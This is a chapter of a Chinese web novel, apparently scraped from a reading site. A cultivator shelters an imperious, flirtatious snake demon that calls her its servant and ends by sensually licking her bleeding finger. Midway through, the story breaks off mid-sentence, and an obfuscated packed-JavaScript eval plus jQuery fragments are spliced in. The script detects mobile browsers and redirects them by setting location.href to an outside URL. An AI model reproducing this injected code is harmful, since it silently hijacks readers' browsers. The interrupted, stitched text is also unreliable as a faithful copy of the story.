5. 奴儿

作品:《如何饲养疯美蛇妖

    季青梧无语了。


    这是请了个祖宗回来吗!怎么这就开始发号施令了!


    她闭上眼,拂开眼角的发丝,再睁眼时,眼底强撑着清冷的底色:


    “我想,你可能是误会了,我的意思是……”


    那道女声不待她说完,便是一声冷笑,直接打断了她的话:


    “呵!”


    小白蛇视线紧盯季青梧,吐出阴冷暗红的蛇信,尾稍重重拍打木钵,发出当啷当啷的声响。


    那道女声在季青梧脑海中,显得慢条斯理又理所当然:


    “误会?我误会什么了?你的意思不就是,从此以后你来当我的奴儿,照顾我,保护我,直到我离开这里吗?”


    奴儿?这是什么诡异文言文?


    季青梧张口就要反驳,那小白蛇却抬起头来,蛇信吞吐,姿态高傲地凑上来,小脑袋几乎要凑到季青梧的鼻尖上。


    小白蛇声音忽而变得沙哑低沉,一锤定音:


    “你怕我。因为怕我,所以不敢杀我,却也不敢随便放我走。因为怕我,与我做那等屈辱之事也不反抗。因为怕我,更怕我之后回来报复,才定下不许返回的规矩。”


    这一连串话音,震得季青梧脑袋发疼。


    小白蛇血红的瞳孔由于距离太近,简直一片模糊,只剩两抹刺眼的红,在更刺眼的白里定定闪烁,仿佛雪中一双红梅,极致的冷血动物感。


    季青梧不说话了,皱起眉头。这蛇现在真是休息好了,毒也解了,属于大女主的聪明算计全都回来了,明明就这么点儿大的脑子,怎么就这么好用呢?


    见她不言语,小白蛇凑到季青梧鼻子上,蛇信唰地一下,暧昧地舔了下她的鼻尖,蛇脑袋微微一歪,一脸探究:


    “你为什么怕我呢?明明你自己也不算太弱。你认识我啊?”


    季青梧忍着鼻尖上的异样感,尽力眯眼看着小白蛇的小脑袋:


    “你想错了,我提供庇护,并不代表我要做你的奴……奴仆。我伤了你,就要对你负责,这是我的原则。还有,我根本不认识你,也不怕你。”


    小白蛇审视她半晌,淡淡道:


    “说谎可不是我的好奴儿。”


    季青梧:


    “……我没有说谎!”


    小白蛇身子陡然一软,重新盘回木钵之中,眼眸一转看向她,声音懒懒地:


    “我累了,改天再同你攀扯。奴儿,伺候我睡觉。”


    季青梧:


    “……都说了我不是奴……”


    然而小白蛇再无回应,只是把自己乱七八糟地一盘,缠成雪白的一团,腹部逐渐起伏平缓,好像真就这样睡下了。


    季青梧一肚子反驳没处说,真是气得倒仰,却也没什么办法。总不能把小白蛇抓起来摇醒,继续辩论吧?


    况且小白蛇说的没错,她就是怕,怕小白蛇屠她满门、折磨她百年的结局,也怕被宗门其他人发现自己窝藏蛇妖。


    无论怎么做都是问题,只能暂且拖下去,见招拆招了。


    这么想着,季青梧瞥一眼小白蛇,看着对方身上横七竖八的暗红伤痕,暗自叹了口气。


    还是好好给蛇养伤,等它养好了离开,自然万事大吉。


    她抽出一方灵帕,轻轻盖在小白蛇身上。这灵帕内里蓄满她的灵力,可以滋养生息。


    果然,盖上灵帕后,小白蛇逐渐舒展身躯,睡得脑袋歪在一边,瞳孔涣散。


    看起来和之前算计她的样子判若两蛇呢。


    季青梧看着那混乱的睡姿,忍不住莞尔,她好像有点理解喜欢养宠物蛇的现代人了。


    原来蛇睡着的时候,还挺萌的。


    小白蛇毕竟伤重,又耗费体力太多,这一睡就到了月上中天的深夜。


    季青梧借着月华修炼,很是无聊,正在思考要不要给自己在东厢房搞张床时,忽觉房里有动静。


    小白蛇醒了?


    她没有刻意去关注,但神识之中自然而然浮现出屋内的场景。


    小白蛇从木钵里爬出来,身体很用力地在那张桌子上伸展开来,像是一线修长的银白月光。


    好像是在伸懒腰似的,还挺生动。


    它伸完懒腰,忽地一拧身子,龇牙咧嘴地对着空气伸蛇信子,脑袋往后看去,似乎在看自己身上的伤口。


    好像是抻的时候没注意,扯到伤口了。


    季青梧还没决定好要不要去,下一秒,人已经在屋内站着,跟小白蛇大眼瞪小眼了。


    没办法,元婴修士,心念一动便已成行,她都来不及阻止这个热心的自己!


    “你怎么了?”


    既然来了,季青梧就找点话说,为了显示自己只是随便一问,她特意将语气控制得十分冰冷。


    小白蛇对着她龇牙,大张着嘴,牙齿和眼睛一起闪烁寒光。


    那道声音又是很没边界感,直接在季青梧脑海中响起:


    “奴儿,来得还算及时,给我按一按。”


    季青梧板着脸,收着手,拿捏着大师姐的架子:


    “我不是你的奴仆,更不会给你按摩,还有,你能不能不要在我识海中说话了?这样很不礼貌。”


    这条蛇从解毒那日起,就一直在她的识海之中随意入侵,她之前试了好几种办法,都没法把它隔离出去。


    蛇的修为明显在她之上,至于到底高了她多少,她完全没有头绪。


    小白蛇扭着脖子看她,发出一串嘲讽的笑声:


    “奴儿,你给我按摩,我便离开你的识海,怎么样?”


    季青梧想了想,微微一点头:


    “好。”


    她伸出一只手来,却有点无从下手:


    “要……按哪里?”


    小白蛇脑袋看向蒲团,张嘴,从蛇小小的喉咙里发出人声来。


    那道微微沙哑、成熟而慵懒的声线,清晰地传遍整间屋子:


    “奴儿,改天修整一下房间,如此简陋之地,我不喜欢。你去,坐在那上面。”


    季青梧咽下一口气,虽然她也觉得这房间是要改,但被这蛇这么一说,她怎么就那么不爱听呢!


    她咽下一口气,盘腿坐上蒲团,抬眼瞥小白蛇:


    “然后呢?”


    小白蛇舒展身体,往前行走,鳞片在月光里流动,宛如一条银链。随即它往前一扑,从桌上弹跳起身,毫无顾忌地掉落下来。


    “啪嗒”一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640789|172702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声,它十分准确地,掉进季青梧的……双腿之间。


    小脑袋甚至正对着某个不可言说之处。


    季青梧差点儿原地起跳,一条软趴趴的蛇突然掉在腿上,谁受得了啊!


    但她还是用超强的意志力控制住了自己,只是手臂和腿不停发抖,抖得小白蛇差点儿掉到地上。


    小白蛇瞪起眼睛,寒光闪闪地张嘴,冲着她大腿就去了。


    “唉!你要干嘛!”


    玉清宗弟子制服十分轻薄柔韧,根本受不住小白蛇这一口,关键时刻季青梧尖叫着伸手过去护着自己。


    下一秒,她手指一阵剧痛,一滴血珠溢出。


    这蛇!居然又咬了她!


    季青梧抬手去看自己伤口,真的很生气了:


    “你怎么回事!怎么又咬我啊!”


    小白蛇闭上嘴,红宝石眸子看向季青梧,内里倒是带了几分愧意似的,只是稍纵即逝。它微微张嘴,用好听的女声控诉:


    “都怪你要把我摔地上去,这哪里是好奴儿所为!”


    季青梧气得一把捞起小白蛇的腰,长长一条蛇挂在她手掌上,不悦地发出叫声:


    “奴儿,你要作甚!”


    季青梧早已起身,一手捞蛇,一手拎起木钵里的灵帕,把蛇“咚”地一下扔进木钵之内,另一手立刻拿起灵帕盖在上面。


    小白蛇被她扔得晕头转向,半晌才蠕动着从灵帕里探出一个脑袋,气道:


    “逆奴!你这是欺主!”


    季青梧站在木钵边,冷笑一声,把手掌上鲜红的伤口送过去:


    “你才是欺主,这座后山是我的地盘,你居然咬我,还要按摩,想得美,没有按摩了!以后你就老老实实在这呆着,不然我……”


    她一时语塞,不然她能怎样?她修为又不如人家高,难道真跟暗黑系大女主结下梁子,让人家伤好后来报仇吗?还是趁现在把人家扔出去再也不管了?


    她气,却无处发泄,只能呼哧呼哧地拍抚自己胸口。


    小白蛇红宝石似的眼眸里,正倒映着一个生了气的正道修士,它一贯是最瞧不起这类人的,可是此刻,眼前人面如淡月,眼含秋水,唇若施朱,指尖一抹鲜艳夺目的血红……


    竟然让小白蛇都看呆了。


    它的瞳孔盯住眼前人的指尖,那一抹鲜血,散发着于它而言极为美妙的异香,叫它浑身燥热、无可抑制,不断回想起解毒的那一夜,自己在这指尖上是如何蹭磨……


    那异香如同海浪一波一波席卷回来,叫小白蛇不由得伸出蛇信,缠绵着舔上那滴血珠。


    它简直想要发出叹息,鳞片一层一层炸开,便将那根手指含在嘴中,蛇信缠绕上去,不愿放开。


    季青梧被这变动惊呆了。


    不是,刚刚她那么生气,这蛇的反应却是……伸出蛇信子,舔自己的手指尖,又把小半根手指都含在嘴里?


    还用蛇信子缠绕手指……有点酥酥痒痒的,季青梧瑟缩一下,手指用力,那蛇又含又缠,不让她抽走手指。


    季青梧逐渐红了脸,感觉很不对劲。


    这蛇到底怎么了?


    看起来……怎么好像,在做什么变态的事情啊?